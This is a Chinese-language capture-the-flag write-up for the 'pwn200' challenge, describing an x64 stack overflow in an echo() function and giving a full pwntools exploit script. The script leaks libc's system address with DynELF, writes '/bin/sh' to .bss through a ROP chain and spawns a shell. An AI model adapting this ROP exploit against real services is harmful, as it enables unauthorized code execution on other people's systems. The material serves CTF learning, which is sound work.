[RCTF]Pwn200 wp

0x00:

XCTF开赛了，只看了pwn，这次还比较有意思，有x86  x64  arm mips 多种cpu构架的pwn。自己只搞出了pwn200

0x01:

基本信息：

x64 动态链接 有调试符号(怪不得是最简单的...)

开启的保护如图可以看到。

运行下，随便给点输入:

经过分析，发现问题出在echo()函数

而且这个bof的payload大概的格式：

payload = "A"*24+"BBBBBB"+"\x00\x00"

0x02:

　　思路就是 利用构造的ROP链先去 leak 远程服务器上libc里的system地址，然后利用ROP链再次把 "/bin/sh" 和system()地址 写入程序的.bss段，最后再次利用ROP链去执行 system("/bin/sh")

　　但是要注意：x64的函数调用 参数传递顺序是 RDI  RSI  RDX  RCX  R8  R9 之后的参数才用栈传递。

　　在IDA中看下

　　

　　我们可以利用 pwntools的 去得到程序中write()和read()这些系统调用的got，用来构造ROP。这时候要使用的是 通用型的ropgads，因为源程序中并没有一些辅助性的东西。

在初始化libc的时候，这些指令可以为我们所用来构造ROP，设置好参数。

因为也没有给libc，所以要leak libc中的函数地址，pwntools的dynELF很好用。

0x03:

exp 如下

#!/usr/bin/env python
# coding=utf-8
# author:muhe
# http://www.cnblogs.com/0xmuhe/
from pwn import *

elf = ELF('./pwn200')
p=remote('127.0.0.1',6666)
#p = remote('180.76.178.48',6666)
#p = process('./pwn200')
addr1=0x40089A
addr2=0x400880
main_addr = 0x4007CD
ppppr=0x40089c
bss_addr=0x601078
got_write = elf.got['write']
got_read = elf.got['read']

flag=True
def leak(address):
    global flag
    junk = "A"*24
    p1=""
    p1+=junk
    p1+=p64(ppppr)
    p1+=p64(addr1)
    p1+=p64(0)+p64(1)+p64(got_write)+p64(8)+p64(address)+p64(1)
    p1+=p64(addr2)
    p1+="\x00"*56
    p1+=p64(main_addr)
    p.recvuntil('F\n')
    p.send(p1)
    #raw_input()
    if flag:
        data = p.recv(8)
        flag=False
    else:
        p.recv(0x1b)
        data = p.recv(8)
    print "%#x => %s" % (address, (data or '').encode('hex'))
    return data

d = DynELF(leak, elf=ELF('./pwn200'))
system_addr = d.lookup('system','libc')
print "system_addr=" + hex(system_addr)

#----------------write /bin/sh to .bss-----------------#
junk = "A"*24
payload=""
payload+=junk
payload+=p64(ppppr)
payload+=p64(addr1)
payload+=p64(0)+p64(1)+p64(got_read)+p64(24)+p64(bss_addr)+p64(0)
#    addr_junk_rbx_rbp_r12_r13_r14_r15
#order:RDI  RSI  RDX  RCX  R8  R9
payload+=p64(addr2)
payload+="\x00"*56
payload+=p64(main_addr)

p.recvuntil('F\n')
print "payload 1 ...."
#raw_input()
p.send(payload)
sleep(1)
p.send("AAAABBBB")
p.send("/bin/sh\0")
p.send(p64(system_addr))
#raw_input()
print "sent .."
#raw_input()
sleep(1)

#-----------------get shell --------------------------#
junk = "A"*24
payload2=""
payload2+=junk
payload2+=p64(ppppr)
payload2+=p64(addr1)
payload2+=p64(0)+p64(1)+p64(bss_addr+16)+p64(1)+p64(1)+p64(bss_addr+8)
#    addr_junk_rbx_rbp_r12_r13_r14_r15
#order:RDI  RSI  RDX  RCX  R8  R9
payload2+=p64(addr2)
payload2+="\x00"*56
payload2+=p64(main_addr)

p.recvuntil('F\n')
#raw_input()
print "payload 2 ...."
p.send(payload2)
print "ok get shell"

p.interactive()

　　

打了一波本地

后来遇到个问题，exp打本地，或者是socket搭建起来的都可以打，但是远程服务器打不了。 - -#  尴尬

0x04:

　　算是学习了一波吧，有收获就是好的。